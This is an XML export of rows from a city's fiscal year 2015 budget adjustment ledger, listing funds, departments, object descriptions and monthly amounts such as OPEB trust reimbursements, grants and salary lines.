<row _id="17522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5100</total></row>
<row _id="17523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>61119</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>61119</total></row>
<row _id="17524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555510.0</object><object_description>1450 OCEAN</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="17525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>410280.0</object><object_description>LOS AMIGOS MWD GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400000</total></row>
<row _id="17526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2018</total></row>
<row _id="17527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>82</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>82</total></row>
<row _id="17528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523110.0</object><object_description>ELECTRIC VEHI CHARGER MAINTENE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="17529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>250000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>250000</total></row>
<row _id="17530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544511.0</object><object_description>OPCC-TURNING POINT-DA</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11246</total></row>
<row _id="17531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562156.0</object><object_description>FSSM-COMMUNITY MENTAL HEALTH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>106634</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106634</total></row>
<row _id="17532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579964.0</object><object_description>BBB-GEN FUND REIMB-HR</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-85882</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85882</total></row>
<row _id="17533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562313.0</object><object_description>VENICE FAMI CLIC-WELNES CTR</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>170310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>170310</total></row>
<row _id="17534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>75835</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75835</total></row>
<row _id="17535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>486</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>486</total></row>
<row _id="17536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>403554</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>403554</total></row>
<row _id="17537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7137</total></row>
<row _id="17538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3670</total></row>
<row _id="17540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523120.0</object><object_description>SOLAR MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="17541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579015.0</object><object_description>DISCRET-OPA 4TH OF JULY PARADE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-19101</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19101</total></row>
<row _id="17543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-22000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22000</total></row>
<row _id="17544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561180.0</object><object_description>HOMELESS UNIT-DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66312</total></row>
<row _id="17545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579016.0</object><object_description>DISCRET-SOULSTICE FEST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4946</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4946</total></row>
<row _id="17547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>577710.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69224</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69224</total></row>
<row _id="17549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400270.0</object><object_description>ANIMAL LICENSES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-186195</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-186195</total></row>
<row _id="17550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>569101.0</object><object_description>STRATEGIC PREVENTION FRAME- ST</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27947</total></row>
<row _id="17551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408690.0</object><object_description>AFFORD HSING COMM LINKAGE FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-21000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21000</total></row>
<row _id="17553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>408720.0</object><object_description>EXPO BUFFER PARK HRP GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-2139850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2139850</total></row>
<row _id="17554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>282710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>282710</total></row>
<row _id="17555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-154800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-154800</total></row>
<row _id="17556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-146996</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-146996</total></row>
<row _id="17557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2445</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2445</total></row>
<row _id="17558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-913611</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-913611</total></row>
<row _id="17559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2009</total></row>
<row _id="17560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11002</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11002</total></row>
<row _id="17561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6536</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6536</total></row>
<row _id="17562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>362164</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>362164</total></row>
<row _id="17563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2286</total></row>
<row _id="17564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>96339</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96339</total></row>
<row _id="17565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24418</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24418</total></row>
<row _id="17566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-124776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-124776</total></row>
<row _id="17567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17683</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17683</total></row>
<row _id="17568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24217</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24217</total></row>
<row _id="17569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3206</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3206</total></row>
<row _id="17570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-36645</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-36645</total></row>
<row _id="17571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8730</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8730</total></row>
